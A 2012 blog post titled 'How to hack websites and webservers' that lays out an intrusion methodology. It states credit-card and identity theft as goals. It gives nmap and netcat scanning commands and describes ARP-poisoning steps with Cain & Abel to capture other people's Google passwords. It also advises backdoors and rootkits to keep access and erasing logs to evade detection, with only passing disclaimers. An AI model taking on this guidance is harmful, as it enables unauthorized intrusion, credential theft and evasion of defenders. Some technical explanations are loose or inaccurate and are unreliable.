Our social:

Latest Post

Thursday, 31 May 2012

HOW TO HACK WEBSITES AND WEBSERVERS

Before you hack a system, you must decide what your goal is. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc ... ? The point is that you have to decide what the goal is first.

The most common goals are:
1. Breaking into the system & taking the admin privileges.
2. Gaining sensitive data, such as credit cards, identification theft, etc.

You should have all of your tools ready before you start taking the steps of hacking. There is a Unix version called backtrack. It is an Operating System that comes with various sets of security tools that will help you hack systems (penetration tests).

You should set the steps (methodology) that you plan to take in your journey before you do anything else. There is a common methodology followed
by hackers, i will mention it below. However, you can create your own methodology if you know what you are doing.

Common steps to be taken for hacking a system:

1. Reconnaissance (footprinting).
2. Scanning.
3. Ports & Services Enumeration.
4. Vulnerability Assessment.
5. Vulnerability Exploitation.
6. Penetration and Access.
7. Privilege Escalation & owning the box.
8. Erase tracks.
9. Maintaining access.

The above methodology can change based on your goals. Feel free m8!

Before you break into a system, you have to collect as much info as you can on the system and target. You have to study your target well before you hack. This step is called Reconnaissance. Reconnaissance is achieved by using techniques & tools that are undetectable by the target. You are gathering your target's info that is publicly published, e.g. browse your target's website & if they are looking for an SQL employee and Windows server admin, then you get a hint that they are running Windows Server & do SQL's, this is called a "passive" action. Lets see an example of active action! Example of active action: call the company to obtain some info, visit the company, email employees to get some info, go to the target's website & read its source code. In other words, passive action means you gather info in a non-intrusive manner. Active action is a step further, such as talking to the company as if you are a customer, things like that. It is not really important to know what action is passive & what is active, the main goal here to gather info! Simple huh? Good, let me go deeper little bit.

In passive reconnaissance, there is a 0% chance of getting caught ;-), as you only target publicly available info to give you the feel on what your target looks like. The type of info you can gather through Passive Recon. are, names, phones numbers, location addresses, partner networks, and much more. This can aid you when you want to do some social engineering! Hence, sometimes you can get some non-public info that's revealed when you do passive reconnaissance. There are several tools helps you to do passive reconnaissance, such as whois (who is). Whois helps you obtain extensive info, such as names, domains of the target, etc. Other great tools are, Sam Spade, domaintools, and google(can reveal lots of target subdomians & many more).


Active reconnaissance goes beyond the passive nature, such as communicating with the target without being caught, such as scanning. Anything not discovered in IDS(Intrusion Detection System) is considered active. You have to think of ways to extract info of the company in a normal way, public by going a little bit deeper than passive recon. e.g. you can go to the physical location, do some social engineering, email staff, communicate with employees based on the info you've gotten on your passive recons. Things like that!

Example of some techniques for active reconnaissance, such as banner grabbing, view company's public website source code and directory structure, social engineering, shoulder surfing, etc.

What the heck is banner grabbing?
You let the server send you a block of information that tells you OS version of your target system & various association with it
Banner tells OS version and various association. Anything listening on a "port" can determine the operating system (OS) "the port" is running on, this called fingerprinting. In other words, fingerprinting is the process of determining the operating system (OS) or applications used by a remote target.


Can you give a brief example of Social Engineering?
For example, you try to find out where IT admin goes after business hours, then start to go to the place he goes & build a relationship , start making a friend relationship to extract more info slowly but surely, things like that! you know what i mean.

What is shoulder surfing?
Simply, stand behind a person's shoulder and see what the guy is doing & typing on the keyboard. This can happen in a wireless network area where everyone is using a laptop in public areas.

In summary, reconnaissance is one of the most important steps in hacking. The main concept is to gather all the info that is publicly available or easily obtainable. Info that we gather will help us in social engineering and research purposes which will lead you to very critical info about the system. It starts by obtaining names, phones, emails, IP range, domain structure, and so on.

let me show you how banner grabbing is done, telnet into your target server on port 80 as the following, go to command line or terminal and type

telnet xx.xxx.xxx.xxx 80

Now the connection is established, that stupid server thinks you are a web browser connected to it, it waits you to enter commands so the server can you give you info about your request. In this situation, you have to write a command that says "Hey you web server, give me content of such and such website". However, we do not really want to visit the website through telnet, do you? You can just go to web browser & request the website from there. Our purpose here is to freak the server out enough, so it spits back a code that says, hey! this doesn't work but here is some info that might help you do some trouble shooting. This technique allows you to fingerprint various components of the target system.

Note: instead of telnet xxx.xx.xxx.xx 80, you can do nc xxx.xx.xxx.xxx 80! It's the same thing ... nc stands for netcat ... xx.xxx.xx.xxx represents the IP address of the target system.

After you do telnet xxx.xx.xxx.xxx 80, the remote sever will wait you to enter a command. Type this:

HEAD / HTTP/1.0

Then you will get a reply looks similar to:-

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html

So the header response brought back some important info that says, the server runs: Apache/1.3.23 in UNIX OS for Red Hat distribution of Linux.

OR you might get header that looks similar to the following:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Tue, 17 Jun 2003 01:41:33 GMT
Date: Mon, 16 Jun 2003 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369

It means, the server runs: Microsoft-IIS/5.0 in Win 2000 or Win 2003 (we don't the Windows version yet).

OR you might get header that looks similar to the following:

Date: Thu, 04 Dec 2008 02:18:46 GMT
Server: Apache/1.3.41 (Unix) PHP/4.4.8 mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8b
Last-Modified: Thu, 10 Jul 2008 23:34:28 GMT
ETag: "c9865b-d91-48769c84"
Accept-Ranges: bytes
Content-Length: 3473
Connection: close
Content-Type: text/html

It means, the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

Ok, you get it now?

lets say our target got the following version: the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

At this point if you know any vulnerabilities for this particular OS or this particular Apache or PHP. You can start the exploitation process ;-) ...

Another example, use program called sam-spade which gives you alot of info about your target. The target does not know actually what we are doing against their server, since they haven't seen anything been triggered by IDS or Firewall.

*What is the difference between IDS & Firewall?
An IDS (Intrusion Detection System) may only detect and warn you of a violation of your privacy. Although most block major attacks, some probes or other attacks may just be noted and allowed through. There's also an evolution of the IDS called an IPS (Intrusion Prevention System) that watches for the same things an IDS does, but instead of just alerting, it blocks the traffic.

A good firewall will block almost all attacks unless specified otherwise or designed otherwise. The only problem is, the firewall might not warn you of the attacks and may just block them.

It may be a good idea to have both an IDS and a Firewall, because the IDS will warn you and then the firewall will block the attack. Over the years, firewalls gottten more complex and added more features. One of these features is actually IDS - today you can have a firewall that already has IDS(Firewall/IDS's are combined into one internet security program).



Note: the book in amazon is just an example for you to give you an idea of what kind of book you should be looking for - if you are interested.

Alright, now you at least have an idea of what reconnaissance is! lets talk about scanning...

When you scan your target's network, you actually start touching the system. Scanning a network determines what's in there, scanning network gives you the feel of how your target's network is laid out, if there are multiple subnets, which hosts are alive, check ports, see if system is alive, discover available hosts & get info about the discovered hosts. There are thousands of tools can be used to scan networks! Scanning a network can easily get picked up by IDS. Anyhow, no one will pay attention except if you do it over and over because scans happens on such a regular basis on the internet. Therefore, people who read the logs, i means the webmaster won't really pay attention to every single scan that occurs, so you don't have to worry alot. There are ways to avoid being picked up by IDS :-). After you finish scanning, you will gain a list of network nodes that exists there.

"Node" is an active electronic device that is attached to a network, and is capable of sending, receiving, or forwarding information over a communications channel. If you want to learn more, google it or visit [Only registered and activated users can see links. ]) ...

Ok now we want to discover live hosts via scanning. This is the first action taken against your target's network. Depending on what method of scanning you use, you can be detected by IDS. Most admins will ignore detections because it happens alot unless something abnormal happens.

EDIT: TEMPORARY STOPPING POINT OF GRAMMATICAL EDITING

There are various scanner tools, e.g. nmap, superscan, and many more. There are various scan methods, some are stealthy, others are not.

Before i talk about various scanning methods, let me explain to you about TCP connections basics. When you scan your target using TCP communication, there are six TCP flags can be utilized during packet transmission(packets get transmitted during scanning process). A flag will indicate whether the sent packets are syn, ack, fin, urg, psh, or rst packets. These packets sets you in a position on how you want to communicate with the remote host. You can get different info depending on the flag you choose for the scanning.

TCP establishes three handshakes, syn, syn-ack, ack. What are they?
When you scan your target using TCP communication, you send a syn packet(syn request), and then target sends you back an ack packet with syn packet. Now, you send an ack packet to the target. So now both machines establish the connection well, like they have made a well established tunnel for a proper guaranteed communication without losing any packets during communicating with each other. A hacker can get caught easily if he uses this method to hack other systems illegally.

Hackers use non-standard combination of these six flags, which gives them info that are not normally available to the public.

Have you heard about syn flood?
syn flood is done by utilizing three handshake by sending "syn" request to the target, so the target receives a syn request and send an a syn-ack back to the originator(you). You ignore the target syn-ack request - when you ignore it, then the three handshakes is not completed, this is called half open TCP connection - In theory, when the target sends you syn-ack, the target allocates some RAM on its machine.

The amount of RAM on the target machine must be open until it gets response (ack packet) back from you because till now only two handshake has been made,so the TCP connection process is not completed yet. However, there is always a time limit for the RAM to be opened, so if 30 secs passed by & the target did not get the ack from you, the connection will abort(failed TCP handshake - timeout) & RAM will be deallocated.

The idea here is to send hell alot of packets in few secs so in 30 secs, you can send 40 million packets(lets say one packet size is 1kb) which is heavy on the RAM since the RAM might not have enough memory to carry 40 million packets. Therefore, you force the target to make half open TCP connection attempts, so definitely the target machine will stop responding to legitimate request. In other words, if you send 40 million syn requests to that remote host, it's going to allocate a hell of a lot of ram for those requests. After a while, it's going to eat up all of the ram. Thus, target system goes down. This is called syn flood attack.

In short, syn flood attack makes the system (i.e. the IP stack or kernel) chokes on the memory allocations (or simply runs out of memory) or the target application (i.e. web server) chokes on the processing load. You got it? Or not yet?! Syn flood is an old technique i just mentioned it here for illustration purposes.

General Information: these days, SYN floods are used to make systems inaccessible. They have a limited number of half open connections, you use them all, and they can't accept any more SYNs. But again, modern software throws away old SYNs once the limit is reached. Note that different systems will behave differently.


Lets talk about the most common TCP Scan types. There are full scan, half open scan, stealth scan, Xmas scan, and ack scan.

full scan: this completes 3 way TCP. it is the most effective & gives more accurate results. However, it is not safe and easily traced and detected.

half open scan: it is the second most effective scanning method, only uses first part of the handshake to get syn-ack but does not send 3rd part (ack) back to the remote host. The idea here is if the remote replies back to you after you have sent syn request, this means the port - we sent the syn to - must be open.

stealth scan: the idea here is to scan ports randomly(not in sequential order) & reduce the speed of scanning. If you scan all port from 1 to 65536 in sequence, your more visible to be detected, and usually scanning happens so fast, which is unusual since regular program does not connect to port that fast, so this can make it easier to be detected. Therefore you have to scan ports randomly & reduce the speed of scanning. To avoid IDS, you should not use full connection scan with stealth scan, you can use half-open scan(syn). syn is considered a stealth scan. In fact, syn scan is called syn-stealth scan, or you can use Xmas scan with stealth scan which helps you to evade detection, things like that! you get my point i guess.

Xmas scan: uses fin, urg, and push flags which are used to bypass some firewalls. Xmas scan works with UNIX system, it does not work with Windows system.

ack scan: this helps you evading IDS not to get you detected. You send only an ack packet to your target, your target won't know how to deal with it since there was no handshake. Thus, ack scan causes open ports in your target machine to return a reset packet(rst), rst packet gives you a hint that the port or service is not filtered between point A and point B, which usually firewal resides in between! Since the port replied you with rst packet this means there is no firewall between A(your machine) & B(port or service on the target machine) and rst packet also gives you an insight that the target port is open ;-). If there is a firewall, your ack packet would not reach to the target port & because of that you won't get any rst packet. In addition, rst packet helps you indentify what system is running on the remote host.

These are the most common method of scans, there are hundreds of scanning methods! nmap allows you to set your own custom scan type e.g. instead of sending ack flags only, you can send ack flag and rst flag together and see what you get back from target ...

OK! we have talked about how TCP scanning works in general. Now, i will be talking about UDP & ICMP Scanning ... UDP and ICMP connections most of the times are blocked at the firewall level & even at the host level in some cases. We are going to scan on hosts & ports that respond via UDP. When you scan your target via UDP, there are many problem will occur during that process e.g. you can scan over the ports via UDP, assume you scanned port 1, and port 1 is closed, then host will send ICMP unreachable back to you, which gives an insight that port is closed because you didn't get any UDP response back from target! Making sense,right? Unfortunately, we will never get a response back from target to ensure you that port is open!

Thats how UDP call works, send the packet & forget it. Lets say we come across port 21, and 21 is open, then port 21 on target machine will not reply back to you because UDP does not give you the guarantee the delivery packets during communication process, it just send the packet and forget, unlike TCP which guarantees the delivery of packets with no loss or corruption. Since we didn't get reply back, then we can assume the port 21 is open *OR* maybe port 21 is closed and ICMP reply got lost somewhere so we didn't get it! A general rule, when you don't get a reply you assume port is open.

Some high professionals security person purposely configure ports to not to respond a UDP scanning. ICMP scanning is as same as UDP. ICMP scanning is noisy & can be picked by IDS very easily because ICMP sends random several pings to the network instead of a single host(ICMP scanning does a 'ping scanning' - sends ICMP packets - to the whole network instead of a single host). After you finish ICMP scanning, based on the replies you get back from the live hosts, then you can determine that your target network is listening for ICMP traffic and you might to do some exploit based on that. Unfortunately, there aren't alot of ICMP exploits going around, so you are just going to use ICMP for network enumeration, you just do it to see what hosts are up, host A is up , host B is up & host C is up, they are replying for my ICMP. Thus, this let us know these 3 hosts are running on the targeted network and potentially can be a target for us. IDS's are always listening for network scans & alot of network scanners provide a support for ICMP scanning, but do not have a way to make it stealthy! Therefore, ICMP can turn on the IDS alert which tells the security person there is somebody scans your whole network.

nmap is a great tool that is very popular, it is usually used to scan networks, hosts, ports, and does alot of other stuff. It is very intrusive tool and considered a hacking tool. Using nmap against systems you dont own or dont have permission to scan can be considered illegal. Lets see examples of some scanning method!

Example of ICMP Scanning(-sP) - this is called ping scan

nmap -v -sP xx.xxx.xxx.xx > filename

nmap: represents the program we are running which nmap.
-v: for increased verbosity, which means bring me extra details of the targeted system. (Optional - as far as i know)
-sP: the flag that determines the scanning method.
x's: target IP address.
> filename: output the results to the newly specified filename. In other words, save results in a file (Optional)

This above command shows you the systems that are up and running, so this shows what available to us on the targeted network. As a result, you will get simple info that shows you there are number of IP addresses that responded to ping request - Note: there could be alot more machines out there that are not responding to ICMP scanning.

Lets see an example of UDP scan, UDP scan not so speed.

nmap -v -sU xx.xxx.xxx.xx

Results of UDP scan(-sU) give more info than ping scan(-sP). Keep in mind there could be hundreds of other ports are listening on the system which simply don't respond to UDP connection.



ALRIGHT, now you have a good basic understanding about scanning! Next, i will be talking about fingerprinting! So keep learning :-)

Now lets get deeper! By now we have determined what nodes are running up on the network. So we are ready to gather large info on those live systems we discovered in the previous steps. Ok! now you need to discover what services (application) are running on your target's host. Every (or at least many) port has a service running on it. For example, web server usually are running on port 80. What we have to do is scan ports, see what kind of services(applications) are running on them, try to grab the versions of the services, this will help you to determine the OS as well. This is called 'Port & Service Enumeration(fingerprinting)'. We have to do this step to understand what potential vulnerabilities your target has & how to exploit them.

Assume after we have scanned our target system, we found our target runs "IIS 5.0 Server" on "port 80". Based on the scanning result, you can say the targer server is running IIS 5.0(IIS is set of Internet-based services, IIS is the second most popular web server - IIS is a Microsoft product), it is known IIS 5.0. has too many vulnerabilities & IIS 5.0 runs on Windows 2000, which Windows 2000 by itself has hundreds of vulns.

In other words, lets scan ports and services, and do OS fingerprinting, lets identify services on those live host in our target network. Once we know what services are running and what OS are running then we can start exploiting these services! - 'ping/port/service' scans are frequently run together using the same tool.

NOTE: identifying ports & services is the most critical part in hacking ... PERIOD

OS fingerprinting is used for determining OS type and version, then we exploit vulns. that resides into the OS. When you fingerprint a target, your targets' OS can be known from the TCP/IP stack, so fingerprinting happens on TCP/IP stack. Why? Because each OS has a unique implementation of TCP/IP, so TCP/IP stack is implemented differently from OS to OS, so an exact same query sent to one machine the respond of the result will be different than the other machine. Therefore, based on the response this can help the scanner determines the OS of the target, because every OS has its own unqiue response when you do OS fingerprinting request.

When you do a default install of OS, certain services will be installed by default, services that are needed for that OS to work properly, e.g. ports
137,138,139,and 445 which all combined together to produce Win 2000 OS or above. Another example, a combination of 139 and 445 can determine a certain version of windows such as Win XP or Win 2003, there are lots of ways to determine OS. Another example, if you see a service MS SQL is running on a certain port, you can determine the target OS is not in *nix family, it is in a Win family cause the target is running a Microsoft sql product. Thus, we can say port enumeration or service enumeration can help you in determining OS.

There tons of popular scanners out there:
SuperScan - Works good on Win OS.
Nmap - Works on *nix & Windows, *nix version is much more stable than Win version.

Most scanners offer full, half, stealth, and UDP scans.

You are goning to spend most of your time scanning your target machine to know whats available there, so you can exploit the vulns & penetrate the system. Therefore, you have to do some exploration on scanning methods & decide which method of scanning you feel more comfortable with...

Lets see an example of enumeration style scanning. Just keep in mind, this can be considered hacking! Make sure you do to your system, not somebody's else.

This is kind of a stealth scan:
nmap -v -sS -A -sV xx.xxx.xx.xx > filename

This above request gives you very specific details about your target. sV is for version information identification. Check out the manual to know what these flags do - type "man nmap" to see the manual...

Alright, after we have fingerprinted services & OS, now its the time to check for various vulns against application(services) & OS running on the target system. This is called vulnerability assessment. To do vulnerability assessment, you can use the tools available, such as nessus. Nessus is free vulnerability assessment, huge database, its the best assessment tool.

Lets scan vulns on the target system. Lets say target system is win 2000 SP1 IIS 5.0, nessus goes back to its database and check the vulns for win2000 & IIS 5.0. If there is vulns not discovered, vulnerability assessment tool actually can't catch it. However, if nessus couldn't find matching vulns for the target system, it will let you if the system can have some security issues or not. Such tools are considered as Automated Vulnerability Assessment Tools. You have to know about the target system OS so you can do vuln assessment on it. There are vuln assessment OS specific, e.g. MBSA tool(only scans Win OS).

NOTE: you can do vulnerability assessment manually, this depends on you and your skills. By doing it manually, you can discover vuln. that nobody knows about it, and you can use it for your own use. It is a powerful and very discrete.

After we determined what systems & what services contain vulnerability, then we can exploit it(means take a chance of this vulnerability to achieve what you want).

common vulnerabilities out there are:

OS vulnerabilities
Webserver vulnerabilities
Database vulnerabilities
TCP stack vulnerabilities
Application vulnerabilities

Malwares, viruses, trojans, can be used to exploit vulnerabilities.

There are several automated vulnerability scanners, such as Nessus, Nikto. Security websites is a good resource for vulnerabilities as well, e.g.
bugtraq, CVE(Common Vulnerabilities and Exposures) sites, etc. Another good source to find vulnerabilities is hacker web sites.

Lets talk about the tools:

*Nessus - this is a great vulnerability assessment tool. However, in alot of cases it will perform exploits to see if the OS or service is actually vulnerable or not.

*Metasploit Framework - this is not vuln assessment tool. It is an exploitation tool, it contains hundrands of exploits helps you to exploit the system by using a nice selection of tools.

I will explain shortly about the common vulns...

OS Vulns: OS exploits are used to gain access to the system. OS exploits can used for DoS attacks too. watch the video tutorial. Most OS holes exist from default configuration, services and applications.

Webserver Vulnerabilities: webservers are the most trageted section. All people contact the webserver, thus you never know the hacker than a normal user. Webservers examples, Apache, IIS, and Tomcat. After you exploit the vulnerability in your target webserver, you can gain many different things, such as root access(the gist), website defacement, DoS(put the server down), theft or alteration data on server, or further penetration into the network.
Webserver is a great place to start when you want to do a penetration test!

Database Vulnerabilities: those software vendors who create databases applications such as SQL, Oracle, etc - they dont have security in mind, they care more into effeciency and how to make it easy for the users to handle with the database. They care about making their customers happy without giving that much attention in security issues!

TCP Stack Vulnerabilities: this is not a common used method to hack systems. Google it!

Application Vulnerabilities: some examples of application vulnerability, buffer overflow, weak authentication mechanisms, poor data validation(the most common one), and poor error checking.

ALRIGHT, to discover these vulnerabilities on the target machine you need to do vulnerability assessment. This can be done in two ways, manually or automatically. Manually means you try to discover a vuln. by yourself which eventually you will have vuln. that nobody else knows it & you can use it for yourself or publish it to security sites. Automatically means you rely on a tool that searches for vulns in the target machine, this tool has a database full of vulns. so this 'tool' will only inform you the vulns found in the target machine by relying on 'its' database. We are going to talk about auto vulnerability assessment. The most common & wonderful tool is Nessus, its free open source code!

Alot of common sense comes into play when analyzing vulns, for example you do not look for a database vulnerability in a webserver, things like that. Another resources, OVAL - gives you a good and basic foundation of vulns assess. methodology, FrSIRT - keeps track of vulns and make exploits of these vulns, you can join a paid subscription and then browse vulns avaialbe in their database and download exploits this is a good source for hacking or security, and websites for posting exploits such as milw0rm, hacking sites.

Lets have a closer look at nessus tool, nessus is client/server architecture. The process of setting it up is cumbersome. Nessus have about 9000 plugins, therefore it takes time to peroform the assessment. Results can be reviewed in a report. The report includes the vulnerabilities found on the target machine with a short description about the vulnerability.

Note: you can enable several plug-ins in plugin tab. You can specify range of ports through scan options. To specify the target, you should go to the target tab.

Once we have done the vulnerability assessment, and knew what vulnerabilities exit. We start gathering exploits of the found vulnerabilities to penetrate the system.

Lets talk about penetration and access! After all information we have gathered previously, its the time to break the system with the exploits you have.

Its the time to stop gathering information and start breaking into system. The ultimate goal is to gain the highest level of permissions. Try to use undiscovered techniques and methods. Think out of the box!

Some of exploits that enable penetration are:

*Buffer overflows
*Stack exploits
*Web vulnerabilities
*Services/apps that allow unauthenticated access.

Aside from the standard methods of penetration, lets see an penetration methods, here are some examples:

*SQL Injection - ability to change queries in the application before its sent into database.

*Application Error Handling - this can result DoS. Probably one of the most common vulnerability you can find in corporate arenas.

*Directory Traversal - browse directories you should not be able to do so on.

*Malformed Packets - one of the more difficult methods of penetration, requires very extensive knowledge of how TCP packets are assembled and disassembled. But once you get used to it, its probably the most effective ways of hacking.

*Bypassing Access Controls - password cracking is most common means of accessing systems.

*Social Engineering - i guess you know what it means.

*Sniffers - take passwords right off the wire, alot of protocls and application such as http & ftp communicate parrwods over the wire in plain text.

*Session hijacking - it is similar to sniffers, but you don't gain a password because we take off the entire session, hijack the victim's session & act as you are him.

Usually when you get passwords, you get it encrypted, or hashed or hidden in some way or another. Password cracking can be done in several ways, examples:

*Brute Force Attack - Every password, can and will be broken by brute force attack. It is about the time. Depends on the size of the password.

*Dictionary Attack - less effective than brute force, relies on list of words or phrases.

*Hybrid Attack - combination of different tools. It is a combination of effectivence of brute force and dictionary attacks & often using other attack mechanisms, such as cryptanalysis attack (one of the hybird attack).

You should know that when you do sniffing, you often get usernames & passwords in plain text. However, you can get encrypted passwords from sniffing as well. You will need to use of the cracking techniques discussed above. Sometimes cracking an encrypted passwords can take secs, hours, days, months, or even more!!!

There is a great software called "Cain & Abel", it sniffs passwords from the wire, cracks it, etc. Once you install it, go to sniffers tab, then move to the found passwords in cracker tab to see what you have got! There is lots to it. You should know these techniques as a security person cause if you don't know it, a black hat will take care of it.

Now, assume we already have hacked the system. We will try to do different things, such as getting the root, etc. Penetration & compromise got some differences in the meaning. Hacking into system does not mean you have compromised(taking the full control - take over) the system. After you penetrate the system, you can grab the session between client and server, e.g. you keep listening on login sessions, so when the remote user login to google, the session be dropped to you, once you get the session, the remote user won't be able to get into his account he/she will see at page goes blank(disconnected), so he/she may think its a problem in a connection, thus he/she tries to login again & everything works fine! BUT you already got his session, you won't have to go through login page when you want to see his/her email inbox, cause its already among the whole session you have taken.

Another way to do this, lets say the attacker has compromised the user's system, thus the attacker can let the session drop on his machine, then he takes the session, reads and saves it. After that, he redirects the user to the server, this step will make everything works ok like nothing wrong happen.

Lets see an example of the above explained steps, after attacker installs "Cain & Abel" application, he moves to "attack base system" & click the sniffer button at the top & click the yellow button(APR Poisoning Button) besides the sniffer button. This APR Poising button trick the attacked system to talk to the attacker instead of normally who it talks to. For testing purposes, go and add various system addresses(IP's) to the list. Let say one of the user amongst those targeted IP's logon into 'google', at the authentication process you will notice varies pieces of info comes to you. You are gathering info by getting into the middle of the communication process. Now view the files you have got in the list, you can see among the lines the username & password of the users' 'google' account in plain text! So how dangerous this can be to your privacy :-/! So be careful....


Once the hacker gains access to the system. He aims for admin(root) access. He moves up from guest level, to user level, up to root level. Owning the box, means take the system & prevent the admin from controlling the system, as well as preventing other hackers from getting in. So you hackers usually move on from the regular level, to the admin level so they can have full control. A hacker needs privilege escalation to compromise the system well. Some exploits allow buffer/stack overflows to obtain admin access. All it takes is a guest user, then a hacker can perform exploitations locally & there he goes to the root.

At this point, we did everything up to owning the box. Now our goal is to protect our access. Thus, we want to maintain our access to that hacked system, so we can use it later. You can maintain a system by using such tools, backdoor accounts, backdoor software programs, rootkits, etc. These tools help you maintain access. Some hackers own the box close all other accounts except his account, so the security person shut the system down, reformat the system and start over again.

By doing this, hacker account will be gone. Once we ensure we have maintained our access to the system, then we want to expand ourselves to other parts of the network. Remember, if you do not do this on your own network, somebody else will take care of it. If he does, i do not think you will be too happy! Once you got an access, and could maintain it successfully. You want to prevent detection or loss of access. There are several methods to maintain access, such as rootkits, OS exploits, erase tracks, install trojans that make you access backdoor, enable null sessions (webmaster usually go to the registry & disable null sessions to keep that vuln. from being exploited, webmasters usually do it once & do not get back to it. You can go there & enable it - NOTE: by enabling null sessions you can give other hackers a chance to hack too), and many more.

There different ways of system compromise, system compromise usually depends on your goal, examples of system compromising are root access(ultimate goal), data access/theft, DoS, and many more. Keep in mind, compromised systems can be detected after a while.

Now after a hacker breaks into the system, he tries to portect what he has hacked & erase his tracks. During the attack process try not to be detected so the webmaster don't shut the server off, as well as do not forget to erase your tracks, e.g. you dont want the webmaster to see lots of failed logon in the log files, so you erase tracks to prevent future detection. Typically, get in the network as a shadow or ghost.

There are many method to evade those IDS so they don't cut off your attack stream. Common methods for evading defenses might be by fragmenting packets(some programs do that e.g. fragroute), port redirectors, encoders(change the flow, the look, and feel of various traffics to pass firewall). After you get in and deceive defenses, you want to go to the log files and erase your tracks. Remember: sometimes you get in a user account then you get into a root by changing permissions of the user account, so you have to remember to set this user permissions back to as it was, things like that - you know what i mean, put yourself in a hackers shoe. Don't delete the whole log files, this can make the security person more suspicious. We want to leave everything as it was so nobody can get a feel that an intruder was here.

To be safe, you should know where your actions are recorded, delete log files and other evidences that can get you caught, steganography(google it), and evading IDS & firewalls. All actions are recorded in some place on the system or the network. Assume IDS detects you, what do security persons do? Usually when you get detected, they may cut off all the ways for you so you don't get a chance to penetrate, they probably going track you down, or they may decide let you go but watch you the entire time.

Where are your actions recorded & what things can let security person knows that you hacked his system? they are recorded in log files for various applications(e.g. IIS & Apache log files), file access times(note: there are tools for hackers that allow you to modify file access time), windows registry entries, hacker tools left behind (be aware of the residual configuration you have left behind - make sure you set all the configurations back to as it was), OS performance stats, IDS, proxy servers(make sure how you send and receive data. If you are going to use proxy server, set up a permanent tunnel through the proxy to the remote host that is compromised), and firewalls(usually very rich with logs).

There are various types of IDS, IDS can set anywhere in the network. There are network based IDS, host based IDS, and application based IDS.

Deleting evidences of your hack is extremely difficult, it requires you have a very high knowledge of the system you are trying to compromise(all the prior steps we did, such as scanning, foot printing, etc will be handy to compromise the system). It is easy to cover the known log files, such as web logs, firewall, IDS logs, etc. However, it is important to know how the default logs work. Highly skilled hackers, study the target well & take the time in fingerprinting & footprinting everything properly. It may take him up to one week before he hacks the target, but when he penetrates his job is done more smoothly & quietly. Unlike, the other ones who are just using some tools to break the system as fast as possible without studying the target well.

It is possible to delete log files! It is simple but usually requires admin access. Some files/logs may be deleted automatically with reboot. Don't delete log files, it brings up suspicion. If you do so, the security person can indicates very clearly that a hacker broke into the system.

Most common way of hiding your tracks is by using a rootkit. Rootkit is set of tools used by an attacker after the attacker gets the root-access to system. Rootkits conceals(to keep from being observed) attacker activities on the hacked system. Once rootkit set on the system, its practically impossible to rid of it because rootkit uses technology, called "hooks", that usually most of the time embed itself into various components of OS & effectively the OS going to be a toaster when the rootkit is all set and done. Security person has to rebuild his machine when rootkit is detected after we properly investigate it.

Steganography its about hiding a file into another file. Like hiding a malware into a normal software which makes it difficult for firewall or AV to detect the malware. Thats the basic concept of Steganography. There are alot of tools out there allow us to hide files inside another files.

You can evade IDS & firewalls by using random slow stealth scanning technique so traffic goes unnoticed, this takes longer to scan but makes detection more difficult. Try to use non-standard techniques, think outside the box.

Remember: not everyone out there is a security expert. To secure your system well, you need to put yourself in a hacker set of mind.

By now, you have learned the basic methodology that hackers use to break into the system. Anyhow, lets take a closer look on hacking techniques, such as encryption, sql injection, sniffers, and many more.

Encryption: files can be encrypted in a storage. Communication channels can be encrypted as well, communication channel encryption encrypts the entire communication path, so all traffics sent and received are encrypted, e.g. SSL technology encrypts the entire communication path. There are many ways hackers get away of encrypted traffic & get info in not encrypted form. If you are using your own encryption method, you always should test your encryption for crackability before you use it officially.

Sniffers: sniffers is a common tool used by hackers. Sniffers listens on any traffic that goes through the wire of the target system, listens ins and outs traffics. Promiscuous mode is a mode that is listening for any traffic that goes through the wire. Standard promiscuous mode sniffer is a basic technique. There are more advanced techniques other than promiscuous mode. Sniffing enables the attacker to pick up a plain text, and other sensitive data that goes 'from' or 'to' the target. Sniffers record captured traffic, then after you sniff you can go offline & start analyzing that captured traffic. Popular sniffers are ethereal, etherape, ettercap, and network monitor(for Win OS only - not so effective).

Wireless Hacking: this is a new technology & starts taking place nowadays. Easy to setup, but not frequently secured since not many people understand the security configuration, so they decide not to set it up or set it up poorly. There are various tools that detect wireless networks, popular war driving software are Netstumbler, Airsnort, Airopeek, Kismet, and many more. What is war driving? google it!

SQL Injection: sql injection is a technique that allows an attacker to steal a valuable database information. This attack relies on poor data validation and poor error checking.

Buffer Overflows: buffer overflow is common, the cause of buffer overflow is poor coding. Buffer overflows might be noticed while coding. Buffer overflow happens when the programmer does not clearly define boundaries on buffers or variables. We use out of bound data to insert malicious code or execute command on the remote host. Buffer Overflows can cause programs to freeze or lockup, can cause machine to crash, or let you use exploits & leads you to compromise the system. To build buffer overflows, you need a good programming skills, good knowledge of stack and buffer vulns.

You need to have the ability to research, analyze vulns & apply the exploit to achieve what you want. Buffer overflow is a very common & hard to produce an application with no buffer overflows at all. There is nothing programmers can do about it, they just need to write the code with security mind of set. If unexpected buffer overflow appears later by chance, programmers will have to fix it. Programmers should test their code from vulnerabilities as much as they can before they publish the application.

Rootkits: it is a common hacker technique. Rootkit is malicious program that replaces components of OS. It does a stealth job. Rootkit requires root permission, so you can install it. Linux rootkits are common & you can find them everywhere, unlike Windows. It is very hard to detect a rootkit because it embeds itself so deeply into the target system. Removing rootkit from a system is very hard too, if the security person tries to remove the rootkit out of the system, he will destroy the system since the rootkit is embedded so deeply into the system(into components of OS). The good solution is to format the whole system & install it again.

Spoofing: the word spoofing defined as making yourself appear as somebody else. Examples of spoofing, you can spoof an IP address and make yourself appear to be somewhere else, MAC addresses, and emails(very simple to spoof, you send an email to somebody by changing the headers, and things like that). Spoof usually relies on poor implementation of TCP/IP itself or poor implementation of applications. Tools that are used for spoofing differs from one platform to another. Example of the tools, IP spoofing utilities, MAC address modifiers, etc. Spoofing is more into using your skills rather than using a tool.

